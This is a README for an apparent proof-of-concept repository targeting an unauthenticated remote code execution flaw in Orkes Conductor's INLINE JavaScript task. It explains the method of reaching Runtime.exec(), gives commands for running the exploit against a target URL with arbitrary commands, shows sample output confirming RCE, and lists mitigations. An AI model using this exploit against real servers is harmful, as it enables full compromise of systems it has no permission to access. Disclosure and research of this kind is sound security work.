CVE-2026-58138 — Conductor (3.21.21..<3.30.2) Unauthenticated Remote Code Execution

Critical Remote Code Execution Vulnerability in Orkes Conductor

📋 Overview

CVE-2026-58138 is a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting Orkes Conductor versions 3.21.21 through 3.30.1. This vulnerability allows attackers to execute arbitrary commands on the Conductor server without requiring any authentication, potentially leading to complete system compromise.

🔴 Severity

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network
• Authentication: None Required
• Impact: Complete System Compromise

⚙️ Vulnerability Details

The vulnerability exists in the INLINE task type within Orkes Conductor's workflow engine. The INLINE task supports JavaScript evaluation with access to Java objects via eval, allowing an attacker to:

1. Register a malicious workflow containing an INLINE task with JavaScript code
2. Execute arbitrary Java code through JavaScript's Java interop
3. Run system commands on the Conductor server via java.lang.Runtime.exec()

📦 Affected Versions

🚀 Installation

# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-58138.git
cd CVE-2026-58138

# Make the script executable
chmod +x CVE-2026-58138.py

# Verify installation
python3 CVE-2026-58138.py --help

💻 Usage

# Basic usage
python3 CVE-2026-58138.py http://target:8080

# Custom command
python3 CVE-2026-58138.py http://target:8080 -c "whoami; id"

📊 Example Output

[>] Orkes Conductor 3.21.21 - 3.30.1 Remote Code Execution
[>] Author: 0xgh057r3c0n
[>] CVE-2026-58138 Unauthenticated RCE PoC

[*] target  = http://192.168.1.100:8080
[*] command = 'id; hostname'
[+] workflow 'pwn_1742345678' registered (HTTP 200)
[+] started workflow id = 123e4567-e89b-12d3-a456-426614174000
[+] UNAUTHENTICATED RCE CONFIRMED – command output:
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)
conductor-server-6b7c8d9e0f-abc12

🛡️ Mitigation

1. Upgrade to Orkes Conductor 3.30.2 or later
2. Disable INLINE task type if not required
3. Restrict network access to the Conductor API

⚠️ Disclaimer

For educational and security research purposes only. Only use on systems you own or have explicit permission to test.

📚 References

• NVD - CVE-2026-58138
• Orkes Conductor Security

⭐ Found this useful? Give it a star on GitHub ⭐